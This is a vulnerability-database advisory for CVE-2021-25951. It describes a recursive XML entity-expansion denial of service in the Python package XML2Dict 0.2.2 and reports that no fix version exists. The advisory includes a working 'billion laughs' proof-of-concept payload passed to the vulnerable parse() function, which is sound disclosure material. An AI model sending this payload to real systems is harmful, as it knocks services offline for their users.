Vulnerabilities
Projects
Vulnerability Disclosure
About Us
Contact Us
Mend.io Vulnerability Database
What is a CVE vulnerability ID? 
What is a WS vulnerability ID?
What is an MSC vulnerability ID?
New vulnerability? Tell us about it!
What is a WS vulnerability ID?
What is an MSC vulnerability ID?
We found results for “”
CVE-2021-25951
Date: June 30, 2021
Overview
XXE vulnerability in 'XML2Dict ' version 0.2.2 allows attacker to cause a denial of service.Details
The PyPi module 'XML2Dict ' is vulnerable to XML Entity Expansion vulnerability as the function `parse()` does not restrict recursive entity references in DTDs in a specially crafted XML document. Due to this flaw an attacker could load a file which is defines multiple entities recursively thus causing denial-of-service.PoC Details
The function `parse()` accepts an XML file as input and converts it to JSON. As the function does not properly control the number of recursive definitions of entities, this can lead to explosive growth of data when parsed, causing a denial of service.PoC Code
from encoder import XML2Dict
xml2dic = XML2Dict()
doc = """ <!--?xml version="1.0" ?--> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> """
xml2dic.parse(doc)Affected Environments
0.2.2Prevention
No fix versionLanguage: Python
Good to know:
Improper Restriction of XML External Entity Reference ('XXE')
CWE-611
Upgrade Version
No fix version available
| Base Score: |
|
|---|---|
| Attack Vector (AV): | Network |
| Attack Complexity (AC): | Low |
| Privileges Required (PR): | High |
| User Interaction (UI): | Required |
| Scope (S): | Changed |
| Confidentiality (C): | Low |
| Integrity (I): | Low |
| Availability (A): | None |
| Base Score: |
|
|---|---|
| Access Vector (AV): | Network |
| Access Complexity (AC): | Medium |
| Authentication (AU): | Single |
| Confidentiality (C): | None |
| Integrity (I): | Partial |
| Availability (A): | None |
| Additional information: |